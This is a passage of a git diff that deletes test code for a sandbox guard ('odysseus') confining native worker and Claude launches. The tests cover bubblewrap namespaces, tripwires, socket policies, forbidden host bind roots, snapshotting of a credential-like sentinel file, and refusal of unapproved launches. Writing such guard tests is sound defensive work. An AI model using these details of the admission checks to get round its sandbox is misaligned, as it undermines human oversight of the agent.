child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);child.stderr.on("data",chunk=>err+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve));console.log(JSON.stringify({exit,out,err}));}finally{plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; - const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,err).toBe(0);const result=JSON.parse(out);expect(result.exit,"UNKNOWN_AUDIT_LOG_CANNOT_BE_REWRITTEN "+result.err).toBe(0);expect(result.out).toContain("UNKNOWN_AUDIT_LOG_IS_GUARD_ONLY"); -}); - -test("a parent status FIFO descriptor survives the user namespace without a proc reopen",async()=>{ - const code=fixtureDiscovery+` - const {createWorkerStatusPipe}=await import(${JSON.stringify(join(import.meta.dir,"../packages/ui-sdk/src/server/worker-status.ts"))}); - const status=createWorkerStatusPipe(),info=fs.statSync(status.source); - const script='import os,stat,json\\ninfo=os.fstat(3)\\nassert stat.S_ISFIFO(info.st_mode)\\nassert info.st_dev==int(os.environ["ODYSSEUS_FIFO_DEV"]) and info.st_ino==int(os.environ["ODYSSEUS_FIFO_INO"])\\nprint("STATUS_DESCRIPTOR_SURVIVES_NAMESPACE")'; - const command=["/bin/sh","-c",'exec 3>"$1"; exec "$2" -I -S -c "$3"',"odysseus-fifo",status.source,"/usr/bin/python3",script]; - const plan=guard.nativeUnknownBoundary(command,{env:{ODYSSEUS_FIFO_DEV:String(info.dev),ODYSSEUS_FIFO_INO:String(info.ino)}}); - let out="",err="";try{plan.beforeLaunch();const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);child.stderr.on("data",chunk=>err+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve));if(exit)throw Error("STATUS_DESCRIPTOR_SURVIVES_NAMESPACE "+err);console.log(out);}finally{plan.dispose();status.close();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; - const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"STATUS_DESCRIPTOR_SURVIVES_NAMESPACE "+err).toBe(0);expect(out).toContain("STATUS_DESCRIPTOR_SURVIVES_NAMESPACE"); -}); - -test("a completed unknown launch releases its diagnostic polling timer",async()=>{ - const code=fixtureDiscovery+` - const original=globalThis.setInterval,held=[];globalThis.setInterval=(...args)=>{const timer=original(...args);held.push(timer);return timer;}; - const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'i=1; printf Ithaca'],{env:process.env}); - try{const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:"ignore"});const exit=await new Promise(resolve=>child.once("close",resolve));if(exit)throw Error("HARMLESS_LAUNCH_REQUIRED");plan.dispose();if(!held.length||held.some(timer=>timer._destroyed!==true))throw Error("UNKNOWN_POLLING_TIMER_RELEASED");console.log("UNKNOWN_POLLING_TIMER_RELEASED");}finally{plan.dispose();globalThis.setInterval=original;fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; - const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"UNKNOWN_POLLING_TIMER_RELEASED "+err).toBe(0);expect(out).toContain("UNKNOWN_POLLING_TIMER_RELEASED"); -}); - -test("completed unknown launches remove their private directories and reuse one private stub",async()=>{ - const discovery=fixtureDiscovery.replace('const guard=await import','let stubBuilds=0;const compile=Bun.spawnSync;Bun.spawnSync=(argv,options)=>{if(argv[0]==="cc"&&argv.at(-1).endsWith("/tripwire"))stubBuilds++;return compile(argv,options);};const guard=await import'); - const code=discovery+` - const created=[],stubs=new Set();let shared; - for(let i=0;i<4;i++){ - const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'i=1; printf Ithaca'],{env:process.env}); - const directory=plan.argv.find(path=>/^\\/tmp\\/odysseus-native-tripwire-[^/]+$/.test(path)),stub=plan.argv.find(path=>/\\/odysseus-native-mask-runtime-[^/]+\\/tripwire$/.test(path)); - if(!directory||!stub)throw Error("TRIPWIRE_EVIDENCE_PATHS_REQUIRED");shared=stub.slice(0,stub.lastIndexOf("/")); - if((fs.statSync(shared).mode&0o777)!==0o700)throw Error("SHARED_STUB_IS_OWNER_ONLY"); - const stamp=fs.statSync(stub);stubs.add(stamp.dev+":"+stamp.ino);created.push(directory); - try{const c=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:"ignore"});const exit=await new Promise(resolve=>c.once("close",resolve));if(exit)throw Error("HARMLESS_LAUNCH_REQUIRED");}finally{plan.dispose();} - if(fs.existsSync(directory))throw Error("TRIPWIRE_DIRECTORY_REMOVED_AT_DISPOSE"); - } - if(stubBuilds!==1||stubs.size!==1)throw Error("TRIPWIRE_STUB_BUILT_ONCE_PER_PROCESS"); - fs.rmSync(root,{recursive:true,force:true});console.log(JSON.stringify({shared,launches:created.length}));guard.assertNoNativeRefusals();`; - const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"TRIPWIRE_DIRECTORY_REMOVED_AT_DISPOSE "+err).toBe(0); - const result=JSON.parse(out);expect(result.launches).toBe(4);expect((await import("node:fs")).existsSync(result.shared),"SHARED_STUB_REMOVED_AT_PROCESS_EXIT").toBe(false); -}); - -test("a refused process releases tripwire evidence before the refusal exit listener",async()=>{ - const code=fixtureDiscovery.replace("?tripwire-witness","")+` - (await import(${JSON.stringify(join(import.meta.dir,"../scripts/test-network-guard.ts"))})).installNetworkGuard(); - const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'i=1; true'],{env:process.env}); - const directory=plan.argv.find(path=>/^\\/tmp\\/odysseus-native-tripwire-[^/]+$/.test(path)),shared=plan.argv.find(path=>/\\/odysseus-native-mask-runtime-[^/]+$/.test(path)); - if(!directory||!shared)throw Error("TRIPWIRE_EVIDENCE_PATHS_REQUIRED");const policy=guard.compileSocketPolicy();console.log(JSON.stringify({directory,shared,policy})); - try{guard.refuseNativeClaude(target);}catch{}fs.rmSync(root,{recursive:true,force:true});process.exit(0);`; - const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"CAUGHT_REFUSAL_STILL_FAILS_PROCESS "+err).not.toBe(0); - const result=JSON.parse(out),fs=await import("node:fs"); - try{expect(fs.existsSync(result.directory),"REFUSED_PROCESS_RELEASES_TRIPWIRE_DIRECTORY").toBe(false);expect(fs.existsSync(result.shared),"REFUSED_PROCESS_RELEASES_SHARED_STUB").toBe(false);expect(fs.existsSync(result.policy),"REFUSED_PROCESS_RELEASES_SOCKET_POLICY").toBe(false);} - finally{fs.rmSync(result.directory,{recursive:true,force:true});fs.rmSync(result.shared,{recursive:true,force:true});if(result.policy)fs.rmSync(dirname(result.policy),{recursive:true,force:true});} -}); - -for(const signal of ["SIGKILL","SIGTERM"] as const)test(`unknown shell preserves payload lifetime and closes stdout on ${signal}`,async()=>{ - const code=fixtureDiscovery+` - const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'printf "%s\\n" "$$"; while :; do /bin/sleep 0.1; done'],{env:process.env}); - let child,payloadPid,payloadStart,watchdog;try{ - child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["pipe","pipe","pipe"]});let out="",err=""; - const ready=new Promise(resolve=>child.stdout.on("data",chunk=>{out+=chunk;if(out.includes("\\n"))resolve();}));child.stderr.on("data",chunk=>err+=chunk); - const closed=new Promise(resolve=>child.once("close",(code,signal)=>resolve({code,signal}))); - await ready;payloadPid=Number(out.trim());payloadStart=fs.readFileSync("/proc/"+payloadPid+"/stat","utf8").replace(/^.*\\) /s,"").split(" ")[19];if(!Number.isSafeInteger(payloadPid)||payloadPid<=1)throw Error("ACTUAL_PAYLOAD_PID_REQUIRED"); - if(fs.realpathSync("/proc/"+payloadPid+"/exe")!==fs.realpathSync("/bin/sh"))throw Error("CALLER_PROC_EXE_IS_ITS_PAYLOAD"); - if(fs.readlinkSync("/proc/"+payloadPid+"/ns/mnt")===fs.readlinkSync("/proc/self/ns/mnt"))throw Error("CALLER_PROC_MNT_IS_THE_MASKED_PAYLOAD_VIEW"); - const marker=root+"/caller-root";fs.writeFileSync(marker,"Ithaca");if(fs.readFileSync("/proc/"+payloadPid+"/root"+marker,"utf8")!=="Ithaca")throw Error("CALLER_PROC_ROOT_IS_ITS_PAYLOAD_VIEW"); - child.kill(${JSON.stringify(signal)});const result=await Promise.race([closed,new Promise((_,reject)=>{watchdog=setTimeout(()=>reject(Error("SIGKILL_CLOSES_PAYLOAD_STDOUT")),${watchdogMs(5000)});})]);clearTimeout(watchdog); - if(result.signal!==${JSON.stringify(signal)})throw Error("PAYLOAD_SIGNAL_BEHAVIOR_MATCHES_MAIN "+JSON.stringify(result)); - try{const state=fs.readFileSync("/proc/"+payloadPid+"/stat","utf8").replace(/^.*\\) /s,"").trim().split(/\\s+/);if(state[19]===payloadStart&&!["Z","X"].includes(state[0]))throw Error("KILLED_SHELL_MUST_BE_KERNEL_DEAD");}catch(error){if(error.code!=="ENOENT")throw error;} - console.log("CALLER_PID_AND_EOF_MATCH_MAIN"); - }finally{clearTimeout(watchdog);if(payloadPid>1)try{if(fs.readFileSync("/proc/"+payloadPid+"/stat","utf8").replace(/^.*\\) /s,"").split(" ")[19]===payloadStart)process.kill(payloadPid,"SIGKILL");}catch{}child?.kill("SIGKILL");child?.stdin?.destroy();plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; - const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"CALLER_PID_AND_EOF_MATCH_MAIN "+err).toBe(0);expect(out).toContain("CALLER_PID_AND_EOF_MATCH_MAIN"); -}); - -for(const mode of ["term-trap","self-signal"] as const)test(`unknown signal result matches the unguarded payload: ${mode}`,async()=>{ - const code=fixtureDiscovery+` - const mode=${JSON.stringify(mode)},script=mode==="term-trap"?'i=1; trap "printf trapped; /bin/sleep 0.1; exit 23" TERM; printf "ready\\n"; IFS= read -r go':'i=1; kill -SEGV $$'; - async function run(argv,env){const c=spawn(argv[0],argv.slice(1),{env,stdio:["pipe","pipe","pipe"]});let out="",err="",sent=0;const closed=new Promise(resolve=>c.once("close",(code,signal)=>resolve({code,signal})));c.stdout.on("data",chunk=>{out+=chunk;if(mode==="term-trap"&&out.includes("ready\\n")&&!sent){sent++;c.kill("SIGTERM");}});c.stderr.on("data",chunk=>err+=chunk);let watchdog;try{const result=await Promise.race([closed,new Promise((_,reject)=>{watchdog=setTimeout(()=>{c.kill("SIGKILL");reject(Error("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN "+JSON.stringify({out,err,sent,pid:c.pid,guarded:argv[1]==="supervise"})));},${watchdogMs(5000)});})]);if(mode==="term-trap"&&sent!==1)throw Error("ONE_CALLER_SIGNAL_REQUIRED");return {...result,out,err};}finally{clearTimeout(watchdog);}} - const original=await run(["/bin/sh","-c",script],process.env),plan=guard.nativeUnknownBoundary(["/bin/sh","-c",script],{env:process.env}); - try{const guarded=await run(plan.argv,plan.env);if(mode==="term-trap"&&(guarded.out.match(/trapped/g)||[]).length!==1)throw Error("ONE_CALLER_SIGNAL_RUNS_TRAP_ONCE "+JSON.stringify(guarded));if(JSON.stringify(guarded)!==JSON.stringify(original))throw Error("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN "+JSON.stringify({original,guarded}));console.log("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN");}finally{plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; - const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(exit,"PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN "+err).toBe(0);expect(out).toContain("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN"); -}); - -for(const mode of ["exit","gone","reused"] as const)test(`fork keeper evidence lasts only for its exact descendant: ${mode}`,async()=>{ - const code=fixtureDiscovery+` - const ready=root+"/ready",mount=root+"/mount";fs.mkdirSync(mount); - const command=["/usr/bin/python3","-I","-S","-c",guard.NATIVE_FIXTURE_FORK_EXEC,Bun.which("bwrap"),"--unshare-user","--bind","/","/","--tmpfs",mount,"--","/bin/sh","-c",'printf "%s" "$$" > "$1"; exec /bin/sleep 30',"fixture-keeper",ready]; - const plan=guard.nativeUnknownBoundary(command,{env:{PATH:"/usr/bin:/bin"}}),directory=plan.argv.find(path=>/^\\/tmp\\/odysseus-native-tripwire-[^/]+$/.test(path)),shared=plan.argv.find(path=>/\\/odysseus-native-mask-runtime-[^/]+$/.test(path));let payload; - try{ - const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:"ignore"});const exit=await new Promise(resolve=>child.once("close",resolve));if(exit)throw Error("ORIGINAL_FORK_PARENT_EXIT_REQUIRED"); - if(${JSON.stringify(mode)}==="exit"){plan.dispose();if(!fs.existsSync(directory))throw Error("FORK_BIND_SOURCES_RETAINED_WHILE_LIVE");} - const deadline=Date.now()+5000;for(;;){let text="";try{text=fs.readFileSync(ready,"utf8");}catch{}if(/^[1-9][0-9]*$/.test(text)){payload=Number(text);break;}if(Date.now()>deadline)throw Error("DETACHED_KEEPER_READY_AFTER_PARENT_EXIT");await new Promise(resolve=>setTimeout(resolve,2));} - if(!Number.isSafeInteger(payload)||payload<=1)throw Error("EXACT_OWNED_KEEPER_PID_REQUIRED"); - const ownerFile=directory+"/fork-owner",owner=fs.readFileSync(ownerFile,"utf8").split(" "); - if(${JSON.stringify(mode)}==="gone")fs.writeFileSync(ownerFile,"2147483647 "+owner[1]); - if(${JSON.stringify(mode)}==="reused")fs.writeFileSync(ownerFile,owner[0]+" "+(BigInt(owner[1])+1n)); - plan.dispose(); - if(${JSON.stringify(mode)}==="exit"){ - if(!fs.existsSync(directory))throw Error("FORK_BIND_SOURCES_RETAINED_WHILE_LIVE"); - process.kill(payload,"SIGTERM");payload=undefined; - } - const cleanupDeadline=Date.now()+5000;while(fs.existsSync(directory)){if(Date.now()>cleanupDeadline)throw Error("FORK_EVIDENCE_RELEASED_ON_EXIT_OR_REUSE");await new Promise(resolve=>setTimeout(resolve,5));} - console.log(JSON.stringify({directory,shared})); - }finally{if(payload)try{process.kill(payload,"SIGKILL");}catch{}plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; - const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(exit,"DETACHED_KEEPER_READY_AFTER_PARENT_EXIT "+err).toBe(0);const result=JSON.parse(out),fs=await import("node:fs");expect(fs.existsSync(result.directory),"FORK_TRIPWIRE_DIRECTORY_RELEASED").toBe(false);expect(fs.existsSync(result.shared),"FORK_SHARED_STUB_RELEASED_AT_PROCESS_EXIT").toBe(false); -}); - -for(const prebuilt of [false,true])test(`detached synchronous unknown launches do not arm async readiness: prebuilt=${prebuilt}`,async()=>{ - const code=`import * as fs from "node:fs";import {tmpdir} from "node:os";import {nativeUnknownBoundary,nativeGuardedBoundary,nativeWorkerClassification} from ${JSON.stringify(guard)}; - const before=new Set(fs.readdirSync(tmpdir()).filter(name=>/^odysseus-native-ready-[A-Za-z0-9]+$/.test(name))),command=["/bin/sh","-c",'i=1; printf Ithaca'],env={PATH:"/usr/bin:/bin"}; - if(nativeWorkerClassification(command,{env})!=="unknown")throw Error("REAL_UNKNOWN_SYNC_SHAPE_REQUIRED"); - const plan=${prebuilt}?nativeUnknownBoundary(command,{env,detached:true}):undefined; - if(plan&&(nativeGuardedBoundary(plan.argv)!==plan||!plan.argv.some(word=>word.includes("odysseus-native-ready-"))))throw Error("PREBUILT_ASYNC_PLAN_REALLY_HAS_READINESS"); - try{ - const result=Bun.spawnSync(plan?.argv??command,{env:plan?.env??env,detached:true,timeout:${watchdogMs(1000)},stdout:"pipe",stderr:"pipe"}); - if(result.exitCode!==0||result.stdout.toString()!=="Ithaca"||result.stderr.length)throw Error("DETACHED_SYNC_PRESERVES_MAIN_BEHAVIOR "+result.exitCode+" "+result.stderr); - if(fs.readdirSync(tmpdir()).some(name=>/^odysseus-native-ready-[A-Za-z0-9]+$/.test(name)&&!before.has(name)))throw Error("SYNC_READINESS_CHANNEL_IS_RELEASED"); - console.log("DETACHED_SYNC_PRESERVES_MAIN_BEHAVIOR"); - }finally{plan?.dispose();}`; - const child=spawnGuardFixture([process.execPath,"-e",code]); - const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"DETACHED_SYNC_PRESERVES_MAIN_BEHAVIOR "+err).toBe(0);expect(out).toContain("DETACHED_SYNC_PRESERVES_MAIN_BEHAVIOR"); -},watchdogMs(30000)); - -test("a prebuilt native plan keeps the synchronous native admission refusal",async()=>{ - const code=fixtureDiscovery.replace("?tripwire-witness","")+` - (await import(${JSON.stringify(join(import.meta.dir,"../scripts/test-network-guard.ts"))})).installNetworkGuard(); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const origin=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("offline")}),release=guard.nativeScriptedService(origin.url.origin,{fixtureRoots:[root]});let plan; - try{plan=guard.nativeClaudeBoundary(target,["--version"],{env:{PATH:"/usr/bin:/bin",HOME:root},cwd:root});Bun.spawnSync(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe",timeout:${watchdogMs(1000)}});} - finally{plan?.dispose();release();origin.stop(true);fs.rmSync(root,{recursive:true,force:true});}`; - // Discovery selects only the harmless compiled witness, never installed code. - const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"PREBUILT_NATIVE_SYNC_NEVER_LAUNCHES").not.toBe(0);expect(err).toContain("synchronous native launch is unavailable");expect(out).not.toContain("UNMASKED_PAYLOAD_RAN"); -},watchdogMs(30000)); diff --git a/tests/native-worker-admission.test.ts b/tests/native-worker-admission.test.ts deleted file mode 100644 index 0b4d30e14b..0000000000 --- a/tests/native-worker-admission.test.ts +++ /dev/null @@ -1,410 +0,0 @@ -/** Keyless admission proof; installed-native positives run only in qualified hosts. */ -import {expect,test} from "bun:test"; -import {watchdogMs} from "../scripts/test-deadlines"; -import {chmodSync,existsSync,mkdirSync,mkdtempSync,rmSync,symlinkSync,writeFileSync} from "node:fs"; -import {join} from "node:path"; -import {tmpdir} from "node:os"; -import {ROOT,runtime,probe,imports} from "./helpers/native-boundary-fixture"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; - -test("native bind inventory rejects every forbidden host service root", async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-forbidden-bind-")); - try { - const result=await probe(`${imports} - import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - registerScriptedService("http://127.0.0.1:1");let refused=0; - for(const root of ["/","/run","/var/run","/tmp","/dev","/dev/shm","/home","/var/lib","/etc","/var"])for(const source of [false,true]){ - try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--ro-bind",source?root:${JSON.stringify(scratch)},source?${JSON.stringify(scratch)}:root,"--",${JSON.stringify(runtime)}]})});} - catch(error){if(String(error).includes("forbidden host service root"))refused++;else throw error;} - }if(refused!==20)throw Error("forbidden root admitted");console.error("FORBIDDEN_BIND_ROOTS_REFUSED:20");`,scratch); - expect(result.code).not.toBe(0);expect(result.output.split("\n")).toContain("FORBIDDEN_BIND_ROOTS_REFUSED:20"); - expect(result.output).not.toContain('"nativeLaunched":true'); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("fixed read-only system mounts are never recursively walked",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-system-policy-")); - try{ - const result=await probe(`${imports} - import {mock} from "bun:test"; - import * as fs from "node:fs"; - const read=fs.readdirSync; - mock.module("node:fs",()=>({...fs,readdirSync(path,...args){if(String(path)==="/usr")throw Object.assign(Error("system walk forbidden"),{code:"EACCES"});return read(path,...args);}})); - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}}}); - if(!plan.argv.some((value,index)=>value==="--ro-bind"&&plan.argv[index+1]==="/usr"&&plan.argv[index+2]==="/usr"))throw Error("fixed system mount absent"); - fs.writeFileSync(plan.argv[plan.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); - expect(result.code,result.output).toBe(0); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("non-system missing and inaccessible entries remain failed receipts",async()=>{ - for(const code of ["ENOENT","EACCES"]){ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-nonsystem-policy-")); - try{ - const result=await probe(`${imports} - import {mock} from "bun:test";import * as fs from "node:fs"; - const read=fs.readdirSync; - if(${JSON.stringify(code)}==="ENOENT")fs.symlinkSync(${JSON.stringify(join(scratch,"absent"))},${JSON.stringify(join(scratch,"missing"))}); - else mock.module("node:fs",()=>({...fs,readdirSync(path,...args){if(String(path)===${JSON.stringify(scratch)})throw Object.assign(Error("synthetic unreadable fixture"),{code:"EACCES"});return read(path,...args);}})); - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}}}); - fs.writeFileSync(plan.argv[plan.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); - expect(result.code).not.toBe(0);expect(result.output).toContain('"metadataError":"'+code+'"');expect(result.output).toContain('"nativeLaunched":false'); - }finally{rmSync(scratch,{recursive:true,force:true});} - } -}); - -test("worker admission classifies executable argv and refuses missing or disagreeing commands",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-worker-executable-")); - try{ - symlinkSync(runtime!,join(scratch,"selected")); - for(const launch of [ - {argv:[runtime]}, - {command:[runtime]}, - {command:["/usr/bin/true"],argv:[runtime]}, - {command:["/usr/bin/true"],argv:["selected"],env:{PATH:scratch},brainPath:scratch}, - {command:["/usr/bin/true"],argv:["./selected"],env:{PATH:"/usr/bin:/bin"},brainPath:scratch}, - ]){ - const result=await probe(`${imports} import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:${JSON.stringify(JSON.stringify(launch))}});`,scratch); - expect(result.code).not.toBe(0);expect(result.output).toContain('"nativeLaunched":false'); - expect(result.output).toMatch(/worker command and (?:argv are required|executable argv disagree)/); - } - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("unregistered keeper namespace temporary sources still refuse before native launch",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-keeper-refusal-")),keeper=mkdtempSync(join(tmpdir(),"odysseus-output-keeper-")); - try{ - const missing=join(keeper,"merged/.brain/scratch"); - const result=await probe(`${imports} - import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["bwrap","--bind",${JSON.stringify(missing)},"/tmp/odysseus-worker-area","--",${JSON.stringify(runtime)}]})}); - const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain("worker bind source is unavailable"); - expect(result.output).toContain('"sourceKind":"unregistered-source"'); - expect(result.output).toContain('"targetKind":"fixture-temporary"'); - expect(result.output).toContain('"metadataError":"ENOENT"'); - expect(result.output).toContain('"nativeLaunched":false'); - }finally{rmSync(scratch,{recursive:true,force:true});rmSync(keeper,{recursive:true,force:true});} -}); - -test("worker outside-HOME regular files require explicit fixture snapshots",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-worker-files-")),outside=mkdtempSync(join(tmpdir(),"odysseus-outside-file-")); - const sentinel=join(outside,"credential-like"),home=join(scratch,"home");mkdirSync(home);writeFileSync(sentinel,"odysseus-synthetic-sentinel"); - try{ - for(const admitted of [false,true]){ - const result=await probe(`${imports} - import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync,readFileSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(home)},...${admitted?JSON.stringify([outside]):"[]"}],fixtureFiles:${admitted?JSON.stringify([sentinel]):"[]"}}); - const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(home)},env:{HOME:${JSON.stringify(home)}},argv:["bwrap","--ro-bind",${JSON.stringify(sentinel)},"/tmp/sentinel","--",${JSON.stringify(runtime)}]})}); - const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - try { const at=argv.indexOf("/tmp/sentinel"),source=argv[at-1]; - if(source===${JSON.stringify(sentinel)})throw Error("outside file stayed live-bound"); - writeFileSync(${JSON.stringify(sentinel)},"changed-original"); - if(readFileSync(source,"utf8")!=="odysseus-synthetic-sentinel")throw Error("fixture copy was not a snapshot");plan.beforeLaunch(); - }finally{writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();}`,scratch); - if(admitted)expect(result.code,result.output).toBe(0); - else {expect(result.code).not.toBe(0);expect(result.output).toContain("worker bind was not created or staged by the fixture");expect(result.output).toContain('"nativeLaunched":false');} - } - }finally{rmSync(scratch,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} -}); - -test("offline collector authority preserves only explicitly generated synthetic OAuth",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-offline-collector-")); - try{ - const result=await probe(`${imports} - import {nativeSyntheticCredential,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync,readFileSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - 